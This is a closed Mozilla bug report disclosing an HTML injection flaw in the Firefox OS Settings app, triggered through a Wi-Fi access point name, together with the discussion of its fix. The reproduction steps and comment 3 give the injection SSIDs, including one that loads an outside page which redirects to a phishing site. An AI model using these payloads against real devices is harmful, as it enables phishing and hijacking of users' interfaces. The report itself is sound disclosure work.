Closed
Bug 1190137
Opened 11 years ago
Closed 11 years ago
HTML injection on Settings app via Wi-Fi AP name
Categories
(Firefox OS Graveyard :: Gaia::Settings, defect)
Tracking
(b2g-v2.0 unaffected, b2g-v2.0M unaffected, b2g-v2.1 unaffected, b2g-v2.1S unaffected, b2g-v2.2 fixed, b2g-v2.2r fixed, b2g-master fixed)
RESOLVED
FIXED
FxOS-S4 (07Aug)
| Tracking | Status | |
|---|---|---|
| b2g-v2.0 | --- | unaffected |
| b2g-v2.0M | --- | unaffected |
| b2g-v2.1 | --- | unaffected |
| b2g-v2.1S | --- | unaffected |
| b2g-v2.2 | --- | fixed |
| b2g-v2.2r | --- | fixed |
| b2g-master | --- | fixed |
People
(Reporter: sdna.muneaki.nishimura, Assigned: stas)
References
Details
(Keywords: reporter-external, sec-high, wsec-xss, Whiteboard: [b2g-adv-main2.5+])
Attachments
(2 files)
1. Prepare a device that Firefox OS 2.5.0.0-prelease is installed.
I used my Flame with a firmware id 201507311030207.
2. Prepare a Wi-Fi access point that name is "<s>pwn<iframe src=/></iframe>".
3. Launch Setting app and try to connect the above Wi-Fi AP with wrong password.
4. While the device tries to connect, go back to the previous page, i.e.,Network & Connectivity setting menu list.
5. If the bug reproduced, you can see an iframe in the connecting status description of Wi-Fi button on the page. (see reproduced1.png)
6. After few minutes, the connection becomes fail. Then go to Wi-Fi menu page again. Then you can see the same iframe again on the "Failed connecting to Wi-Fi" error dialog. (see reproduced2.png)
| Reporter | ||
Comment 1•11 years ago
|
||
Updated•11 years ago
|
Flags: sec-bounty?
Comment 2•11 years ago
|
||
Paul: what's a good rating for this? You can't inject script because CSP slaps it down. What malicious things can go in the frame?
Flags: needinfo?(ptheriault)
Keywords: sec-high
| Reporter | ||
Comment 3•11 years ago
|
||
I tried to make an attack scenario using this bug.
At first an attacker prepares an open Wi-Fi spot that name is "<s><iframe src=http:a.csrf.jp>". A victim finds the spot and uses it since it's open. Then, the <iframe> in SSID is activated on the Setting app.
The page http://a.csrf.jp/ opened in the <iframe> is a malicious site that triggers top window navigation to his phishing site like this: <script> top.location = '/malicious.html'; </script>
While the victim connects to the spot, the malicious page is shown on fullscreen _everytime_ when the victim opens Settings app.
Above demo site is working so you can test it if you have affected devices.
Comment 4•11 years ago
|
||
sec-high is correct.
This looks like the same underlying issue as bug 1190038.
https://github.com/mozilla-b2g/gaia/blob/master/apps/settings/locales/settings.en-US.properties#L58
Stas, will the fix for 1190038 address this bug as well?
Flags: needinfo?(ptheriault) → needinfo?(stas)
Keywords: wsec-xss
| Assignee | ||
Comment 5•11 years ago
|
||
Yes, this looks like the same bug. The iframe was not removed because it was a child of a text-level element (<s>) which we want to allow in translations. Bug 1190038 fixed this.
Related to this bug 1190539 which will additionally escape any HTML in variables passed into translations, like ssids, bluetooth names and app names.
Flags: needinfo?(stas)
| Reporter | ||
Comment 6•11 years ago
|
||
I also think the root cause of this bug is same as bug 1190038 and the fix may protect against bad HTML injection with unexpected tags such as <iframe>. However, the fix for bug 1190038 still allows to be injected some white-listed tags e.g., <s> via AP name. Is it expected?
As far as I looked at similar bug 1190139, it was fixed by removing use of .innerHTML from the dialog showing connected BT device name. I think this bug should fix like bug 1190139.
Comment 7•11 years ago
|
||
Muneaki: We're working on bug 1190539 to prevent (safe) HTML tags from being passed from the arguments.
We do allow for limited HTML for entity styling, but if the string comes from an argument (so, in your examples it was passed from the third-party) the HTML will be escaped.
| Reporter | ||
Comment 8•11 years ago
|
||
Thanks! It sounds good to me.
Comment 9•11 years ago
|
||
This should not be reproduce-able anymore.
Status: NEW → RESOLVED
Closed: 11 years ago
Resolution: --- → FIXED
Updated•11 years ago
|
Whiteboard: [b2g-adv-main2.5?]
Updated•11 years ago
|
Assignee: nobody → stas
status-b2g-v2.0:
--- → unaffected
status-b2g-v2.0M:
--- → unaffected
status-b2g-v2.1:
--- → unaffected
status-b2g-v2.1S:
--- → unaffected
status-b2g-v2.2:
--- → fixed
status-b2g-v2.2r:
--- → fixed
status-b2g-master:
--- → fixed
Depends on: CVE-2015-8510
Target Milestone: --- → FxOS-S4 (07Aug)
Comment 10•11 years ago
|
||
Bounty awarded for bug 1190038, this is really a dupe. Not marked that way for test/verification purposes?
Flags: sec-bounty? → sec-bounty-
Updated•11 years ago
|
Group: core-security → core-security-release
Updated•10 years ago
|
Whiteboard: [b2g-adv-main2.5?] → [b2g-adv-main2.5+]
Updated•10 years ago
|
Group: core-security-release
Updated•2 years ago
|
Keywords: reporter-external
You need to log in
before you can comment on or make changes to this bug.
Description
•